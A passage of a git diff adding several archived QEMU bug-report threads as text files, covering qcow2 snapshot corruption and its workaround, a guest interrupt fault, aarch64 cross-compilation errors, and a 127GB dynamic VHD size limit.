create a directory called qemutemp, download qemu-1.7.2.tar.bz2, untar it and do ./configure and the make (but don't do make install). + +Then you should be able to convert your image from qcow2 to raw with: + + ./qemu-img convert /var/lib/libvirt/images/yourimagename.qcow2 /var/lib/libvirt/images/yourimagenamefixed.raw + +then +virsh edit yourvmname + +and change yourimagename.qcow2 to yourimagenamefixed.raw and change the driver type from qcow2 to raw. + +Cross your fingers and boot the copy. + +Note: This bug spooked management and now I'm mandated to only use vmware. And I was soooo close to escape too. + +@Todd, thank you for posting the work-around. I'm experiencing the same problem. I'll try your method in an attempt to repair my image files. + +Todd, thank you for your post and advise. It helped me to fix the same problem with one of the virtual disks that became corrupted after ubuntu host release upgrade to 14.0.1 LTS +I tried first to install qemu 2.1.2 from sources but without any improvement. +qemu 1.7.2 could convert to raw img format and my VM is up and running now. +Seems like your work around is the only available on the Internet so thanks a lot :) + +Can one of you give some more information about the qcow2 image that can't be +opened any more? What is new is a sanity check of the snapshot metadata (name, +date, etc.) size. It is currently limited to 64 MB, which should be plenty of +space for any real use cases. + +I suspect that your qcow2 got somehow corrupted (before the update; the update +only made the problem apparent) and this is not real snapshot data. + +If you have the qemu sources, you can run 'tests/qemu-iotests/qcow2.py +/tmp/test.qcow2 dump-header' (with your image file instead of test.qcow2, +of course) and check the values of nb_snapshots and snapshot_offset. If you +could post a hexdump of a few kilobytes starting at $snapshot_offset, that +could be helpful as well. + + +What I could see the snapshot offset points somewhere in apache log file. +Related to the discovered bash vulnerability I was rebooting VM last week as well as prior to release upgrade (all VM's were shut down during the upgrade, though if I remember it well after the upgrade process and prior to reboot I discovered that 2 of VM's were restarted but not this particular one). +Anyhow here is the requested info: + +header: + +magic 0x514649fb +version 2 +backing_file_offset 0x0 +backing_file_size 0x0 +cluster_bits 16 +size 1052771352576 +crypt_method 0 +l1_size 1961 +l1_table_offset 0x30000 +refcount_table_offset 0x10000 +refcount_table_clusters 1 +nb_snapshots 1 +snapshot_offset 0x66090000 +incompatible_features 0x0 +compatible_features 0x0 +autoclear_features 0x0 +refcount_order 4 +header_length 72 + +hexdump -s 0x66090000 -n 2048 xyz.qcow2 +66090000 3231 2e37 2e30 2e30 2031 202d 2d20 2020 +66090010 305b 2f31 6553 2f70 3032 3331 313a 3a32 +66090020 3833 303a 2036 302b 3030 5d30 2220 4f50 +66090030 5453 2f20 6f73 726c 732f 6c65 6365 2074 +66090040 5448 5054 312f 312e 2022 3032 2030 3336 +66090050 3733 0a20 3231 2e37 2e30 2e30 2031 202d +66090060 2d20 2020 305b 2f31 6553 2f70 3032 3331 +66090070 313a 3a32 3833 303a 2036 302b 3030 5d30 +66090080 2220 4547 2054 732f 6c6f 2f72 6461 696d +66090090 2f6e 6966 656c 3f2f 6966 656c 733d 6863 +660900a0 6d65 2e61 6d78 206c 5448 5054 312f 312e +660900b0 2022 3032 2030 3031 3931 2038 310a 3732 +660900c0 302e 302e 312e 2d20 2020 202d 5b20 3130 +660900d0 532f 7065 322f 3130 3a33 3231 333a 3a38 +660900e0 3730 2b20 3030 3030 205d 5022 534f 2054 +660900f0 732f 6c6f 2f72 6573 656c 7463 4820 5454 +66090100 2f50 2e31 2231 3220 3030 3120 3632 3637 +66090110 0a20 3231 2e37 2e30 2e30 2031 202d 2d20 +66090120 2020 305b 2f31 6553 2f70 3032 3331 313a +66090130 3a32 3833 303a 2037 302b 3030 5d30 2220 +66090140 4f50 5453 2f20 6f73 726c 732f 6c65 6365 +66090150 2074 5448 5054 312f 312e 2022 3032 2030 +66090160 3534 2037 310a 3732 302e 302e 312e 2d20 +66090170 2020 202d 5b20 3130 532f 7065 322f 3130 +66090180 3a33 3231 333a 3a38 3730 2b20 3030 3030 +66090190 205d 5022 534f 2054 732f 6c6f 2f72 6573 +660901a0 656c 7463 4820 5454 2f50 2e31 2231 3220 +660901b0 3030 3320 3738 0a20 3231 2e37 2e30 2e30 +660901c0 2031 202d 2d20 2020 305b 2f31 6553 2f70 +660901d0 3032 3331 313a 3a32 3833 303a 2037 302b +660901e0 3030 5d30 2220 4f50 5453 2f20 6f73 726c +660901f0 732f 6c65 6365 2074 5448 5054 312f 312e +66090200 2022 3032 2030 3534 2037 310a 3732 302e +66090210 302e 312e 2d20 2020 202d 5b20 3130 532f +66090220 7065 322f 3130 3a33 3231 333a 3a38 3730 +66090230 2b20 3030 3030 205d 5022 534f 2054 732f +66090240 6c6f 2f72 6573 656c 7463 4820 5454 2f50 +66090250 2e31 2231 3220 3030 3320 3436 0a20 3231 +66090260 2e37 2e30 2e30 2031 202d 2d20 2020 305b +66090270 2f31 6553 2f70 3032 3331 313a 3a32 3833 +66090280 303a 2037 302b 3030 5d30 2220 4f50 5453 +66090290 2f20 6f73 726c 732f 6c65 6365 2074 5448 +660902a0 5054 312f 312e 2022 3032 2030 3534 2037 +660902b0 310a 3732 302e 302e 312e 2d20 2020 202d +660902c0 5b20 3130 532f 7065 322f 3130 3a33 3231 +660902d0 343a 3a32 3231 2b20 3030 3030 205d 5022 +660902e0 534f 2054 732f 6c6f 2f72 6573 656c 7463 +660902f0 4820 5454 2f50 2e31 2231 3220 3030 3620 +66090300 3333 2037 310a 3732 302e 302e 312e 2d20 +66090310 2020 202d 5b20 3130 532f 7065 322f 3130 +66090320 3a33 3231 343a 3a32 3231 2b20 3030 3030 +66090330 205d 4722 5445 2f20 6f73 726c 612f 6d64 +66090340 6e69 662f 6c69 2f65 663f 6c69 3d65 6373 +66090350 6568 616d 782e 6c6d 4820 5454 2f50 2e31 +66090360 2231 3220 3030 3120 3130 3839 0a20 3231 +66090370 2e37 2e30 2e30 2031 202d 2d20 2020 305b +66090380 2f31 6553 2f70 3032 3331 313a 3a35 3132 +66090390 303a 2037 302b 3030 5d30 2220 4f50 5453 +660903a0 2f20 6f73 726c 732f 6c65 6365 2074 5448 +660903b0 5054 312f 312e 2022 3032 2030 3336 3733 +660903c0 0a20 3231 2e37 2e30 2e30 2031 202d 2d20 +660903d0 2020 305b 2f31 6553 2f70 3032 3331 313a +660903e0 3a35 3132 303a 2037 302b 3030 5d30 2220 +660903f0 4547 2054 732f 6c6f 2f72 6461 696d 2f6e +66090400 6966 656c 3f2f 6966 656c 733d 6863 6d65 +66090410 2e61 6d78 206c 5448 5054 312f 312e 2022 +66090420 3032 2030 3031 3931 2038 310a 3732 302e +66090430 302e 312e 2d20 2020 202d 5b20 3130 532f +66090440 7065 322f 3130 3a33 3132 333a 3a38 3132 +66090450 2b20 3030 3030 205d 5022 534f 2054 732f +66090460 6c6f 2f72 6573 656c 7463 4820 5454 2f50 +66090470 2e31 2231 3220 3030 3620 3333 2037 310a +66090480 3732 302e 302e 312e 2d20 2020 202d 5b20 +66090490 3130 532f 7065 322f 3130 3a33 3132 333a +660904a0 3a38 3132 2b20 3030 3030 205d 4722 5445 +660904b0 2f20 6f73 726c 612f 6d64 6e69 662f 6c69 +660904c0 2f65 663f 6c69 3d65 6373 6568 616d 782e +660904d0 6c6d 4820 5454 2f50 2e31 2231 3220 3030 +660904e0 3120 3130 3839 0a20 0000 0000 0000 0000 +660904f0 0000 0000 0000 0000 0000 0000 0000 0000 +* +66090800 + +I had the exact same issue with a VM after upgrading the host from 12.04 to 14.04. + +Thank you Todd for the workaround. It would have been more work than I cared for to reassemble that machine (even if it was just a test machine). + +I'm not sure what the status of this bug is? Is this something that is already fixed but was an exisiting issue from a previous version? + +I've attached the qemu-img I compiled. It may help someone else recover a bit quicker - getting everything in place to compile the binary wasted a good couple of hours as I had to modify several dependancies, install additional packages, etc. But of course, the safer method is to build yourself. + +FWIW I had to install: + sudo apt-get install autoconf automake autopoint autotools-dev dh-autoreconf libltdl-dev libtool m4 libglib2.0-0-dbg libglib2.0-bin libglib2.0-dev libpcre3-dev libpcrecpp0 + +( I think I could have just done autoconf rather than dh-autoreconf) + +After the installation of libglib2.0-0-dbg remember to re-run ./configure + +If you compile yourself you can kill the make process after the build of the qemu-img binary. + + + + + +Thanks Todd - the recommended fix did work. Thanks Rob, I downloaded and used your qemu-img binary, and it worked perfectly :-) + +We had also the same issue with a vm after install the host complety new. We changed from ubuntu 12.04 to Proxmox 3.3. + +Unfortunately the qemu-img version compiled on Trusty Thar don't work under Proxmox 3.3 so i compiled it under Proxmox :) + +For all people the run into the same issue he ist the file. + +I never have a problem when using virsh snapshot-create or delete. Problem started with one VM when I use qemu-img snapshot. Thank you Todd for work-around. It's helped me too. VM working again. + +I'll just add that the work-around worked for me too, but in addition I used the Trusty qemu-img to convert it back from RAW to QCOW2 and it was fine. + +I just had the chance to help debugging another case of this, and it turned out that qemu-img snapshot was used on the image while the VM is running. This was likely the root cause of the corruption. So if you're reading this, it's probably already too late, but I want to spell it out anyway: + +WARNING: Never open the same disk image from two processes at the same time, except if both are read-only! If your VM is running, use the qemu monitor of that VM (or libvirt functionality, which will do the same internally) to do operations on the image. Use qemu-img only for images of shut down VMs. + + +If you reported in this bug that you are affected, can you please reply and specify whether you ever used qemu-img (except for read-only subcommands) on your image while the VM was running? + +Yes, we used qemu-img snapshot on the image while it was running. Did not read the man page close enough. + +I stumble upon the same problem. Made the same mistake taking a snapshot using qemu-img on a running virtual machine. + +It was easily fixed using qemu-img v1.7.2 binaries as mentioned earlier: + + ./qemu-img convert bad.qcow2 fixed.qcow2 + +I've got the same problem again while release-upgrading to 14.04.2 but this time I was careful to shutdown vm's and disable autostart prior to release-upgrade to prevent anything happening in background. Nevertheless after the upgrade one vm is not starting. +I'll repeat the procedure about converting the image and report the result. + +I used Rob Schultz's binary to convert the image-files and it is working now. + +Sounds this was not really a bug, but rather a file corruption problem by using qemu-img on a file that was opened by QEMU already? So could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/problem/1050694 b/results/classifier/deepseek-1/output/problem/1050694 new file mode 100644 index 00000000..39cf09e1 --- /dev/null +++ b/results/classifier/deepseek-1/output/problem/1050694 @@ -0,0 +1,85 @@ + +Interrupt 0xffffffff when debug is turned on + +Hi, + +I have been getting a GPF when I enable interrupts, working on implementing processes and a scheduler. When I comment out the scheduler code, I still get the GPF. I used the following QEMU command line to capture a log: + +qemu-system-i386 -smp 4 -monitor stdio -cpu core2duo -D /home/adam/century/util/qemu.log -d int,in_asm -s -hda "$harddisk_image" -m 3.5G + +Rather than posting the entire log, I need some help interpreting the following section (notice "INT=0xffffffff" on the top line): +Servicing hardware INT=0xffffffff +1: v=ffffffff e=0000 i=0 cpl=0 IP=0008:0010b63f pc=0010b63f SP=0010:0012b768 EAX=00000000 +EAX=00000000 EBX=00002000 ECX=00000018 EDX=05a00780 +ESI=00112faa EDI=000b8fa0 EBP=0012b780 ESP=0012b768 +EIP=0010b63f EFL=00207202 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +CS =0008 00000000 ffffffff 00cf9a00 DPL=0 CS32 [-R-] +SS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +DS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +FS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +GS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +LDT=0000 00000000 00000000 00008200 DPL=0 LDT +TR =0008 00000580 00000067 00008900 DPL=0 TSS32-avl +GDT= 00127760 00000027 +IDT= 00122f40 000007ff +CR0=80000011 CR2=00000000 CR3=0014a000 CR4=00000000 +DR0=00000000 DR1=00000000 DR2=00000000 DR3=00000000 +DR6=ffff0ff0 DR7=00000400 +CCS=00000024 CCD=0012b75c CCO=ADDL +EFER=0000000000000000 +check_exception old: 0xffffffff new 0xd +2: v=0d e=fffffffa i=0 cpl=0 IP=0008:0010b63f pc=0010b63f SP=0010:0012b768 EAX=00000000 +EAX=00000000 EBX=00002000 ECX=00000018 EDX=05a00780 +ESI=00112faa EDI=000b8fa0 EBP=0012b780 ESP=0012b768 +EIP=0010b63f EFL=00207202 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +CS =0008 00000000 ffffffff 00cf9a00 DPL=0 CS32 [-R-] +SS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +DS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +FS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +GS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +LDT=0000 00000000 00000000 00008200 DPL=0 LDT +TR =0008 00000580 00000067 00008900 DPL=0 TSS32-avl +GDT= 00127760 00000027 +IDT= 00122f40 000007ff +CR0=80000011 CR2=00000000 CR3=0014a000 CR4=00000000 +DR0=00000000 DR1=00000000 DR2=00000000 DR3=00000000 +DR6=ffff0ff0 DR7=00000400 +CCS=00000024 CCD=0012b75c CCO=ADDL +EFER=0000000000000000 + +To the best of my ability to interpret, I an getting an undefined interrupt, which is then triggering a GPF, which is caught. However, do not know where it might be coming from. + +Some additional information: + + +This command works: + +qemu-system-i386 -smp 4 -monitor stdio -cpu core2duo -s -hda "$harddisk_image" -m 3.5G + + +This command works: + +qemu-system-i386 -monitor stdio -cpu core2duo -D /home/adam/century/util/qemu.log -d int,in_asm -s -hda "$harddisk_image" -m 3.5G + + +And, as above, this does not: + +qemu-system-i386 -smp 4 -monitor stdio -cpu core2duo -D /home/adam/century/util/qemu.log -d int,in_asm -s -hda "$harddisk_image" -m 3.5G + + +[adam@os-development ~]$ qemu-system-i386 -version +QEMU emulator version 1.2.0, Copyright (c) 2003-2008 Fabrice Bellard + + +Attached is an image as a test case. Please let me know if you need any additional information. + + + +Original conversation about this issue on osdev.org: http://forum.osdev.org/viewtopic.php?f=1&t=25795 + +Triaging old bug tickets ... is there still something left to do here, or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/process./1658120 b/results/classifier/deepseek-1/output/process./1658120 new file mode 100644 index 00000000..354bec02 --- /dev/null +++ b/results/classifier/deepseek-1/output/process./1658120 @@ -0,0 +1,211 @@ + +building with gcc-aarch64-linux-gnu + +Hi, while trying to build qemu v2.8.0 with gcc-aarch64-linux-gnu cross-compiler I'm getting the following : + + +In file included from /usr/include/x86_64-linux-gnu/sys/syscall.h:31:0, + from /root/qemu/util/compatfd.c:21: +/root/qemu/util/compatfd.c: In function 'qemu_signalfd': +/root/qemu/util/compatfd.c:103:19: error: '__NR_signalfd' undeclared (first use in this function) + ret = syscall(SYS_signalfd, -1, mask, _NSIG / 8); + ^ +/root/qemu/util/compatfd.c:103:19: note: each undeclared identifier is reported only once for each function it appears in +/root/qemu/rules.mak:59: recipe for target 'util/compatfd.o' failed +make: *** [util/compatfd.o] Error 1 + + +I had configured it with : + +../configure --target-list=x86_64-linux-user --static --cpu=aarch64 + +And I'm on : + +Linux ubuntu-512mb-fra1-01 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux + +Thanks + +On 20 January 2017 at 15:21, Bilal Amarni <email address hidden> wrote: +> Hi, while trying to build qemu v2.8.0 with gcc-aarch64-linux-gnu cross- +> compiler I'm getting the following : +> +> +> In file included from /usr/include/x86_64-linux-gnu/sys/syscall.h:31:0, +> from /root/qemu/util/compatfd.c:21: +> /root/qemu/util/compatfd.c: In function 'qemu_signalfd': +> /root/qemu/util/compatfd.c:103:19: error: '__NR_signalfd' undeclared (first use in this function) +> ret = syscall(SYS_signalfd, -1, mask, _NSIG / 8); +> ^ +> /root/qemu/util/compatfd.c:103:19: note: each undeclared identifier is reported only once for each function it appears in +> /root/qemu/rules.mak:59: recipe for target 'util/compatfd.o' failed +> make: *** [util/compatfd.o] Error 1 + +You can see from the error message that the compile has +pulled in the include file /usr/include/x86_64-linux-gnu/sys/syscall.h +from the host, which is the x86-64 version. This is an +indication that either your cross compiler is broken, or +you're not using it at all. + +> ../configure --target-list=x86_64-linux-user --static --cpu=aarch64 + +You haven't told configure to use a cross compiler at all, +so it is building with the x86 system compiler, which +doesn't work. You shouldn't need to use the --cpu argument +at all, because if you get the build to use the right +compiler it can figure that out itself. (Passing --cpu=aarch64 +tells configure "ignore the fact this is an x86 compiler +and assume it's aarch64 instead", which just results in +things breaking because that assumption is wrong.) + +You need to pass configure --cross-prefix=aarch64-linux-gnu- +You'll also need to ensure you have an aarch64-linux-gnu-pkg-config +and that you have cross versions of all QEMU's library +dependencies (notably zlib and glib) in the right place that +your cross-compiler can find them, and that your cross +pkg-config is set up to point to them. + +On Ubuntu, you may find it easier to set up a cross-architecture +chroot and do the build in that (where it looks like a native +build). Cross-compilation of software with non-trivial +dependencies is always an enormous pain in the neck. + +thanks +-- PMM + + + +Bilal Amarni <email address hidden> writes: + +> Public bug reported: +> +> Hi, while trying to build qemu v2.8.0 with gcc-aarch64-linux-gnu cross- +> compiler I'm getting the following : +> +> +> In file included from /usr/include/x86_64-linux-gnu/sys/syscall.h:31:0, +> from /root/qemu/util/compatfd.c:21: +> /root/qemu/util/compatfd.c: In function 'qemu_signalfd': +> /root/qemu/util/compatfd.c:103:19: error: '__NR_signalfd' undeclared (first use in this function) +> ret = syscall(SYS_signalfd, -1, mask, _NSIG / 8); +> ^ +> /root/qemu/util/compatfd.c:103:19: note: each undeclared identifier is reported only once for each function it appears in +> /root/qemu/rules.mak:59: recipe for target 'util/compatfd.o' failed +> make: *** [util/compatfd.o] Error 1 +> +> +> I had configured it with : +> +> ../configure --target-list=x86_64-linux-user --static --cpu=aarch64 +> +> And I'm on : +> +> Linux ubuntu-512mb-fra1-01 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 +> 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux + +Do you have: + +/usr/include/aarch64-linux-gnu/bits/syscall.h + +In your system? + +When cross compiling it is these sort of problems come from not having +the architecture specific development files. On Ubuntu you want +something like: + + apt-get build-dep -a arm64 qemu + +-- +Alex Bennée + + +Thanks for your replies, + +I've managed to compile it using a chroot as suggested by Peter. I just grabbed a pre-built rootfs from here : https://wiki.debian.org/Arm64Port#Pre-built_Rootfses, then installed qemu-user-static with apt-get and run the build from the chroot. + +Somehow "apt-get build-dep -a arm64 qemu" didn't work, I had tried to do "dpkg --add-architecture arm64 && apt-get update" before running this command but it couldn't find the needed packages, not sure why. + +In any case thanks for your help :) + +this was an issue in my setup + +Hello everyone!! + +I am having a issue when build qemu using gcc aarch64-linux-gnu-* on ubuntu 16.04: + +dong02@dong:~/qemu$ ./configure \ +> --prefix=/usr --cross-prefix=/usr/bin/aarch64-linux-gnu- \ +> --target-list=aarch64-softmmu \ +> --enable-attr --enable-fdt --enable-kvm \ +> --enable-sdl --enable-system --enable-tools \ +> --audio-drv-list= \ +> --disable-bluez --disable-brlapi --disable-bsd-user \ +> --disable-cap-ng --disable-curl --disable-curses \ +> --disable-docs --disable-libiscsi --disable-linux-aio \ +> --disable-rbd --disable-seccomp --disable-slirp \ +> --disable-sparse --disable-spice --disable-strip \ +> --disable-usb-redir --disable-vde --disable-virtfs \ +> --disable-vnc --disable-werror --disable-xen + +ERROR: zlib check failed + Make sure to have the zlib libs and headers installed. + +I installed zlib library: sudo apt-get install zlib1g-dev. However, result no change +Please help me!! + + +Hi Cao Van Dong, + +you need to install zlib1g-dev:arm64, see: + +https://github.com/qemu/qemu/blob/master/tests/docker/dockerfiles/debian-arm64-cross.docker + +Regards, + +Phil. + + +Cao Van Dong <email address hidden> writes: + +> Hello everyone!! +> +> I am having a issue when build qemu using gcc aarch64-linux-gnu-* on +> ubuntu 16.04: +> +> dong02@dong:~/qemu$ ./configure \ +>> --prefix=/usr --cross-prefix=/usr/bin/aarch64-linux-gnu- \ +>> --target-list=aarch64-softmmu \ +>> --enable-attr --enable-fdt --enable-kvm \ +>> --enable-sdl --enable-system --enable-tools \ +>> --audio-drv-list= \ +>> --disable-bluez --disable-brlapi --disable-bsd-user \ +>> --disable-cap-ng --disable-curl --disable-curses \ +>> --disable-docs --disable-libiscsi --disable-linux-aio \ +>> --disable-rbd --disable-seccomp --disable-slirp \ +>> --disable-sparse --disable-spice --disable-strip \ +>> --disable-usb-redir --disable-vde --disable-virtfs \ +>> --disable-vnc --disable-werror --disable-xen +> +> ERROR: zlib check failed +> Make sure to have the zlib libs and headers installed. +> +> I installed zlib library: sudo apt-get install zlib1g-dev. However, result no change +> Please help me!! + +You will have installed the x86 version of the zlib1g-dev libraries. +Unfortunately headers are not uniform across all architectures. + +If you want to ensure you have all the appropriate headers for cross +compiling QEMU do: + + apt-get build-dep -a arm64 qemu + +But you may well run into problems if the distribution isn't fully +multi-arch clean. This is one of the reasons we use docker to isolate +our various cross build environments: + + make docker-test-build@debian-arm64-cross J=9 TARGET_LIST=aarch64-softmmu + +-- +Alex Bennée + + diff --git a/results/classifier/deepseek-1/output/process./814222 b/results/classifier/deepseek-1/output/process./814222 new file mode 100644 index 00000000..90c0cd98 --- /dev/null +++ b/results/classifier/deepseek-1/output/process./814222 @@ -0,0 +1,246 @@ + +kvm cannot use vhd files over 127GB + +The primary use case for using vhds with KVM is to perform a conversion to a raw image file so that one could move from Hyper-V to Linux-KVM. See more on this http://blog.allanglesit.com/2011/03/linux-kvm-migrating-hyper-v-vhd-images-to-kvm/ + +# kvm-img convert -f raw -O vpc /root/file.vhd /root/file.img + +The above works great if you have VHDs smaller than 127GB, however if it is larger, then no error is generated during the conversion process, but it appears to just process up to that 127GB barrier and no more. Also of note. VHDs can also be run directly using KVM if they are smaller than 127GB. VHDs can be read and function well using virtualbox as well as hyper-v, so I suspect the problem lies not with the VHD format (since that has a 2TB limitation). But instead with how qemu-kvm is interpreting them. + +BORING VERSION INFO: +# cat /etc/issue +Ubuntu 11.04 \n \l +# uname -rmiv +2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 +# apt-cache policy kvm +kvm: + Installed: 1:84+dfsg-0ubuntu16+0.14.0+noroms+0ubuntu4.1 + Candidate: 1:84+dfsg-0ubuntu16+0.14.0+noroms+0ubuntu4.1 + Version table: + *** 1:84+dfsg-0ubuntu16+0.14.0+noroms+0ubuntu4.1 0 + 500 http://apt.sonosite.com/ubuntu/ natty-updates/main amd64 Packages + 500 http://apt.sonosite.com/ubuntu/ natty-security/main amd64 Packages + 100 /var/lib/dpkg/status + 1:84+dfsg-0ubuntu16+0.14.0+noroms+0ubuntu4 0 + 500 http://apt.sonosite.com/ubuntu/ natty/main amd64 Packages +# apt-cache policy libvirt-bin +libvirt-bin: + Installed: 0.8.8-1ubuntu6.2 + Candidate: 0.8.8-1ubuntu6.2 + Version table: + *** 0.8.8-1ubuntu6.2 0 + 500 http://apt.sonosite.com/ubuntu/ natty-updates/main amd64 Packages + 500 http://apt.sonosite.com/ubuntu/ natty-security/main amd64 Packages + 100 /var/lib/dpkg/status + 0.8.8-1ubuntu6 0 + 500 http://apt.sonosite.com/ubuntu/ natty/main amd64 Packages + +qemu-img version 0.14.0 + +# vboxmanage -v +4.0.12r72916 + + +REPRODUCTION STEPS (requires Windows 7 or Windows 2008 R2 with < 1GB of free space) + +## WINDOWS MACHINE ## + +Use Computer Management > Disk Management +-Create 2 VHD files, both dynamically expanding 120GB and 140GB respectively. +-Do not initialize or format. + +These files will need to be transferred to an Ubuntu KVM machine (pscp is what I used but usb would work as well). + +## UBUNTU KVM MACHINE ## + +# ls *.vhd +120g-dyn.vhd 140g-dyn.vhd +# kvm-img info 120g-dyn.vhd +image: 120g-dyn.vhd +file format: vpc +virtual size: 120G (128847052800 bytes) +disk size: 244K +# kvm-img info 140g-dyn.vhd +image: 140g-dyn.vhd +file format: vpc +virtual size: 127G (136899993600 bytes) +disk size: 284K +# kvm-img info 120g-dyn.vhd | grep "virtual size" +virtual size: 120G (128847052800 bytes) +# kvm-img info 140g-dyn.vhd | grep "virtual size" +virtual size: 127G (136899993600 bytes) + +Regardless of how big the second vhd is I always get a virtual size of 127G + +Now if we use virtualbox to view the vhds we see markedly different results. + +# VBoxManage showhdinfo 120g-dyn.vhd +UUID: e63681e0-ff12-4114-85de-7d13562b36db +Accessible: yes +Logical size: 122880 MBytes +Current size on disk: 0 MBytes +Type: normal (base) +Storage format: VHD +Format variant: dynamic default +Location: /root/120g-dyn.vhd +# VBoxManage showhdinfo 140g-dyn.vhd +UUID: 94531905-46b4-469f-bb44-7a7d388fb38f +Accessible: yes +Logical size: 143360 MBytes +Current size on disk: 0 MBytes +Type: normal (base) +Storage format: VHD +Format variant: dynamic default +Location: /root/140g-dyn.vhd + +# kvm-img convert -f vpc -O raw 120g-dyn.vhd 120g-dyn.img +# +# kvm-img convert -f vpc -O raw 140g-dyn.vhd 140g-dyn.img +# + +# kvm-img info 120g-dyn.img +image: 120g-dyn.img +file format: raw +virtual size: 120G (128847052800 bytes) +disk size: 0 +# kvm-img info 120g-dyn.img | grep "virtual size" +virtual size: 120G (128847052800 bytes) +# kvm-img info 140g-dyn.img +image: 140g-dyn.img +file format: raw +virtual size: 127G (136899993600 bytes) +disk size: 0 +# kvm-img info 140g-dyn.img | grep "virtual size" +virtual size: 127G (136899993600 bytes) + +Notice after the conversion the raw image will the taken on the partial geometry of the vhd, thus rendering that image invalid. + +vboxmanage has a clonehd option which allows you to successfully convert vhd to a raw image, which kvm then sees properly. + +For giggles I also tested with a 140GB fixed VHD (in the same manner as above) and it displayed the virtual size as correct, so a good work around is to convert your VHDs to fixed, then use kvm-img to convert them. + +Keep in mind that these reproduction steps will not have a file systems therefore no valid data, if there were for example NTFS with a text file the problem would still occur but more importantly the guest trying to use it would not be able to open the disk because of it being unable to find the final sector. + +So long story short I think we are dealing with 2 issues here. + +1) kvm not being able to deal with dynamic VHD files larger than 127GB +2) kvm-img not generating an error when it "fails" at converting or displaying information on dynamic VHDs larger than 127GB. The error should be something like "qemu-kvm does not support dynamic VHD files larger that 127GB..." + +Thanks for taking the time to submit this bug. + +It looks like the 127G limit is known. A recent patch went in to help with the symptom you are seeing, but unfortunately it only makes the failure detectable :) It's a start at least. + +The following commit should be pulled in: + +commit 6e9ea0c0629fe25723494a19498bedf4b781cbfa +Author: aurel32 <aurel32@c046a42c-6fe2-441c-8c8c-71466251a162> +Date: Wed Apr 15 14:42:46 2009 +0000 + + block-vpc: Don't silently create smaller image than requested + + The algorithm from the VHD specification for CHS calculation silently limits + images to 127 GB which may confuse a user who requested a larger image. Better + output an error message and abort. + + Signed-off-by: Kevin Wolf <email address hidden> + Signed-off-by: Aurelien Jarno <email address hidden> + + git-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@7109 c046a42c-6fe2-441c-8c8c-71466251a162 + + +Hm, no - that patch is already in natty and oneiric's qemu-kvm. + +I'm afraid I'll need time to find a place where I can reproduce this. + +As converting to fixed is listed as a workaround, I'm changing the priority to low per priority definitions. + +Are the priority definitions documented somewhere? + +I personally think you were right on when you had the priority at medium. + +Primarily because of the fact that no error is generated. It can't just silently fail. If it generated an error (so that people knew they needed to look for a work around) then I would agree that fixing the bug itself would be a low priority, as the work around is simple for anyone to implement. + +@Matthew, + +yes, the definitions are at https://wiki.ubuntu.com/Bugs/Importance. + +Your reasoning makes sense. I'll bump it back up, thanks. + +This could be tough to reproduce, as I don't seem to have a way to +create a vpc image > 127G in the first place: + +root@ip-10-36-186-165:/mnt# qemu-img create -f vpc vpc2.img 130G +Formatting 'vpc2.img', fmt=vpc size=139586437120 +qemu-img: The image size is too large for file format 'vpc' + +root@ip-10-36-186-165:/mnt# qemu-img create -f raw raw1.img 130G +Formatting 'raw1.img', fmt=raw size=139586437120 +root@ip-10-36-186-165:/mnt# qemu-img convert -f raw -O vpc raw1.img vpc1.img +qemu-img: The image size is too large for file format 'vpc' + +root@ip-10-36-186-165:/mnt# qemu-img create -f vpc vpc1.img 127G +Formatting 'vpc1.img', fmt=vpc size=136365211648 +root@ip-10-36-186-165:/mnt# qemu-img convert -f vpc -O raw vpc1.img raw2.img +root@ip-10-36-186-165:/mnt# qemu-img info raw2.img +image: raw2.img +file format: raw +virtual size: 127G (136365219840 bytes) +disk size: 0 + + + + +This is a dynamically expanding VHD file created using the reproduction steps above on Windows 7. This one is 120GB and converts correctly. + +This has not been formatted or even initialized. + +"kvm-img info 120g-dynamic.vhd" shows the proper geometry. + + +This is a dynamically expanding VHD file created using the reproduction steps above on Windows 7. This one is 140GB and silently errors on conversion. + +This has not been formatted or even initialized. + +"kvm-img info 140g-dynamic.vhd" does not show the proper geometry. + +I have attached a couple of VHDs that I created with Windows 7. These should be helpful in your reproduction. + +Also looking at your notes it looks like that previous patch which was committed only affected the creation. So perhaps the same sort of check can be incorporated into the conversion process as well, so that you don't have the silent error. + +@Matthew + +thanks for the attachments. + + + +This bug was fixed in the package qemu-kvm - 0.14.1+noroms-0ubuntu5 + +--------------- +qemu-kvm (0.14.1+noroms-0ubuntu5) oneiric; urgency=low + + * debian/patches/vpc.patch: detect vpc files which are too big + (LP: #814222) + -- Serge Hallyn <email address hidden> Mon, 12 Sep 2011 11:28:36 -0500 + +I came here from : http://lists.gnu.org/archive/html/qemu-devel/2011-07/msg02806.html + +Actually, I experience an issue which may be useful to you. + +I have a corrupted VHD file (as explained in that thread : https://forums.virtualbox.org/viewtopic.php?f=7&t=20614 ). I wanted to follow that procedure to solve my issue : + + qemu-img convert -O raw miimagen.vhd miimagen.bin + VBoxManage convertdd miimagen.bin miimagen.vdi + + +but qemu-img convert -O raw miimagen.vhd miimagen.bin triggers the qemu-img: Could not open 'img.VHD': File too large error message. + +Since, my file is 52,6 Go and the output is raw format. I guess it should not trigger that exception? or is that the normal behavior? Is there a way to bypass this limit? I use qemu-img 1.0 version. + +Hope 